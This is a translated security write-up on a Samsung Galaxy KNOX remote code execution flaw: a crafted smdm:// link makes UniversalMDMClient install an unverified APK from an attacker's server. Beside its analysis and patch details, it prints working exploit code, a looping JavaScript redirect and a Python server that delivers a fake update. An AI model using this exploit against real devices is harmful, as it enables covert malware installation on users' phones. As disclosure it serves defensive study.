深度:剖析三星GalaxyKNOX远程代码执行漏洞(含视

  • A+
所属分类:业界关注
本文将详细介绍三星GalaxyS5最新发现的远程执行漏洞,攻击者可以藉此漏洞入侵系统。目前三星官方已在GalaxyS5、Note4和Alpha产品中修复此漏洞,但在S4,S4Mini,Note3和Ace4(可能还有其他设备)上尚未被修复。

介绍

KNOX,是三星的一款基于开源Android平台的安全解决方案,可以通过物理手段和软件体系相结合的方式全面增强了安全性。

我们Quarkslab团队喜欢捣鼓Android设备。所以当三星GalaxyS5发布时,我们检查了一下它的固件。很快我们便发现了一个简单的漏洞和可用的exp(漏洞利用)。出现漏洞的程序是UniversalMDMApplication。这个程序默认包含在S5的ROM中,也是三星KNOX安全解决方案中的一部分。

利用这个漏洞我们可以让有漏洞的程序误以为有新的更新。结果就是应用程序会弹出一个窗口询问用户是否需要更新。如果用户选择“是”,恶意软件就会安装;而如果用户选择了“否”,我们可以再次弹出窗口让用户误以为“否”这个按钮失效了。我们的漏洞可以通过email实现(让用户点击一个链接),或者也可以在用户用Chrome/自带浏览器浏览网页时被触发。或者攻击者也可以在MITM(中间人攻击)时在HTML网页中注入一段JavaScript来实现漏洞。

我们一直没有公布这个漏洞因为我们打算在mobilepwn2own大赛公布,但貌似今年的规则更严了。新的规则中,受害者只能做一次点击操作。所以当弹窗出现时,尽管大部分用户会点击“是”,但对Pwn2Own大赛而言,这已经犯规。

即使没有“用户交互”的问题,这个漏洞今年8月也已经在三星Note4和Alpha上修复,只是直到10月还未在GalaxyS5上修复,所以这漏洞也不能用于pwn2own了。

本文将介绍漏洞工作原理,提醒开发者注意此类漏洞,还将附上漏洞的利用方式。

时间线

2014年4月 - 三星Galaxy S5发布,我们发现了漏洞
2014年8月 - 三星Galaxy Note 4和Alpha发布。在这两款机型的ROM中漏洞被修复
2014年10月 - 三星S5上的漏洞被修复
2014年11月 - Mobile Pwn2Own大赛 据我们所知,以下机型的漏洞尚未被修复:

三星 Galaxy S4 (ROM版本: I9505XXUGNH8)
三星 Galaxy S4 mini (ROM版本: I9190UBUCNG1)
三星 Galaxy Note 3 (ROM版本: N9005XXUGNG1)
三星 Galaxy Ace 4 (ROM版本: G357FZXXU1ANHD) 警告:这份列表中没有列出所有设备,其他的设备也可能有漏洞。在文章结尾处有修复漏洞的方法。

漏洞分析

简短writeup

UniversalMDMClient应用默认是以三星KNOX组件被安装的,它会注册一个URI:"smdm://"。当用户点击一个指向"smdm://"的链接时,UniversalMDMClient中的LaunchActivity组件就会启动并分析这个URL。它会从这个URL中提取很多信息,包括更新服务器的URL。

提取到更新服务器的URL后,应用会对URL使用HEAD方法,它会检查服务器是否返回一个非标准的header:"x-amz-meta-apk-version"。如果服务器返回了这个header,它会检查UniversalMDMClient应用的当前版本,与"x-amz-meta-apk-version"header中的版本进行比对。如果header的版本号更新,它就会向用户显示一个弹窗提醒用户有可用更新,询问用户是否需要升级。

如果用户选择了“是”,程序就会像更新服务器URL发送GET请求,而响应内容就会以APK文件的形式保存,最后,它会在不提示用户这个应用程序需要的权限也不检查程序证书的情况下安装应用。因此,如果攻击者能够让用户更新,他也就可以在用户的设备上安装恶意软件了。

2014年10月漏洞被修复,程序会检查下载的APK程序的包名是否与UniversalMDMClient应用中的相同。由于两个程序有两个不同证书而包名相同,所以就不能安装恶意程序了。

详细writeup

在UniversalMDMClient的AndroidManifest.xml文件中,我们可以看到它定义了URI:

manifest android:versionCode="2" android:versionName="1.1.14" package="com.sec.enterprise.knox.cloudmdm.smdms"
 xmlns:android="http://schemas.android.com/apk/res/android">
  <uses-sdk android:minSdkVersion="17" android:targetSdkVersion="19" />
  [...]
  <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
  [...]
  <application android:allowBackup="true" android:name=".core.Core">
    <activity android:configChanges="keyboard|keyboardHidden|orientation" android:excludeFromRecents="true"
     android:label="@string/titlebar" android:name=".ui.LaunchActivity" android:noHistory="true"
     android:theme="@android:style/Theme.DeviceDefault">
      <intent-filter>
        <data android:scheme="smdm" />
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
      </intent-filter>
    </activity>
  [...]
 </application>
</manifest> 第11至16行中的intent-filter注册了URI"smdm://"并将它与com.sec.enterprise.knox.cloudmdm.smdms.ui.LaunchActivity组件关联起来。当用户尝试打开一个"smdm://"URI时,LaunchActivity中的onCreate()方法就会处理这个URL。我们会从这里深入探究代码。除了程序代码通过proguard被“混淆”过,用JEB反编译器对其进行分析没有任何困难。

以下是反编译得到onCreate()方法的源代码:

onCreate()首先做的是(通过getPreETAG()函数)检查/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/目录中是否存在文件PreETag.xml。如果文件存在,应用会调用finish()方法结束执行。默认情况下PreETag.xml文件并不存在。

接着,应用程序会获取Intent来启动Activity或者更准确地说是其中的键值。键值的格式必须是"smdm://hostname?变量1=值1&变量2=值2"。变量名能够从来源中轻松获取:seg_url,update_url,email,mdm_token,program和quickstart_url。最重要的是quickstart_url。在一个shared_preference文件内写入所有这些变量后,调用Core.startSelfUpdateCheck(),onCreate()结束。

Core.startSelfUpdateCheck()负责检查当前是否正在进行更新,如果没有,则调用UMCSelfUpdateManager.startSelfUpdateCheck():

UMCSelfUpdateManager.startSelfUpdateCheck()函数检查是否有数据连接,如果有正在等待的更新则将其删除,并根据umc_cdn字符串的值构造一个URL,umc_cdn字符串是在shared_pref文件"m.xml"中的,构造完成后将其赋上字符串常量"/latest"。umc_cdn的值就是Intent中的键值udpdate_url。所以这是个被攻击者完全控制的值。接下来它会调用UMCSelfUpdateManager.doUpdateCheck(),把之前构造的URL当作第一个参数:

这个函数中,ContentTransferManager被初始化,并向攻击者控制的URL发送HEADHTTP请求。请求的不同状态会由handleRequestResult类和onFailure()、onProgress()、onStart()、onSucess()等方法处理。

当然,最有趣的方法还是onSucess()了。它会检查header中的ETag、Content-Length和x-amz-meta-apk-version。header中的x-amz-meta-apk-version值会与当前UniversalMDMApplicationAPK包的版本进行比较。如果header中的x-amz-meta-apk-version版本号大于当前的APK版本,则判断为需要更新。

这时候,用户屏幕会弹出一个窗口,称应用有更新,询问用户是否要安装。如果他选择“是”,我们就能继续攻击了。

如果用户选择“是”,UMCSelfUpdateManager.onSuccess()就会被调用,它会调用onSucess()方法:

而这个onSuccess()会最终调用beginUpdateProcess()开始更新线程:

更新线程会调用执行installApk(),而installApk()又会调用_installApplication()_installApplication()的功能就是禁止包验证(防止Google扫描APK)安装APK之后再重新开启包验证:

整个过程到此结束。下载的APK既没有经过验证,也没有向用户展示请求的权限。因此这个漏洞能够被攻击者用来安装恶意程序。

而当更新安装完成后,漏洞就不能再被利用了。因为更新成功后,ETagheader的值被写入/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/PreETag.xml,而LaunchActivity的onCreate()方法中首先就会检查该文在是否存在。

三星的补丁

为了防止漏洞被利用,程序现在会在安装前检查包名,包名必须与UniversalMDMApplication中的包名相同。
以下是进行检查的函数:

打过补丁的系统中的弹窗:

漏洞利用

EXP相当的简单,你得让你的受害者点击你的URI,可以通过邮件或者是用网页中JavaScript把他们重定向过去:

<script>
  function trigger(){
    document.location="smdm://meow?update_url=http://yourserver/";
  }
  setTimeout(trigger, 5000);
</script> 有趣的是当你用JavaScript触发exp时,如果用户选择“取消”,Android会返回网页,继续执行JavaScript代码。这意味着我们可以在JavaScript中做循环。用户可能会认为弹窗的取消键不好使了,他们可能就会点“是”。

服务器端,你得返回以下header:

x-amz-meta-apk-version : 编一个大一点的数字。比如 1337 ;
ETag : 假APK的md5校验值;
Content-Length : APK的大小 以下是服务器端的代码:

import hashlib
from BaseHTTPServer import BaseHTTPRequestHandler
APK_FILE = "meow.apk"
APK_DATA = open(APK_FILE,"rb").read()
APK_SIZE = str(len(APK_DATA))
APK_HASH = hashlib.md5(APK_DATA).hexdigest()
class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", APK_SIZE)
        self.send_header("ETag", APK_HASH)
        self.send_header("x-amz-meta-apk-version", "1337")
        self.end_headers()
        self.wfile.write(APK_DATA)
        return
    def do_HEAD(self):
        self.send_response(200)
        self.send_header("Content-Length", APK_SIZE)
        self.send_header("ETag", APK_HASH)
        self.send_header("x-amz-meta-apk-version", "1337")
        self.end_headers()
        return
if __name__ == "__main__":
    from BaseHTTPServer import HTTPServer
    server = HTTPServer(('0.0.0.0',8080), MyHandler)
    server.serve_forever() 怎么自己打补丁呢?
如果你的设备还有漏洞,你可以等三星的补丁,也可以自己修复。修复补丁不需要root权限,只需点击这个链接:
smdm://patch/

实际上点击这个链接时,漏洞程序会启动,但是没有指定的更新URL,它会使用默认的三星UMC(UniversalMDMClient)服务器http://umc-cdn.secb2b.com:80,这个服务器上有最新版本的UniversalMDMClient.apk。

安装完成后你可能会看到这个界面,按返回或者Home键即可。

以下是对未修复和已修复的S5系统的漏洞利用演示视频: 

译者注:
这个漏洞已经可以在Metasploit上使用:
模块:exploit/android/browser/samsung_knox_smdm_url
模块下载:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/android/browser/samsung_knox_smdm_url.rb

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: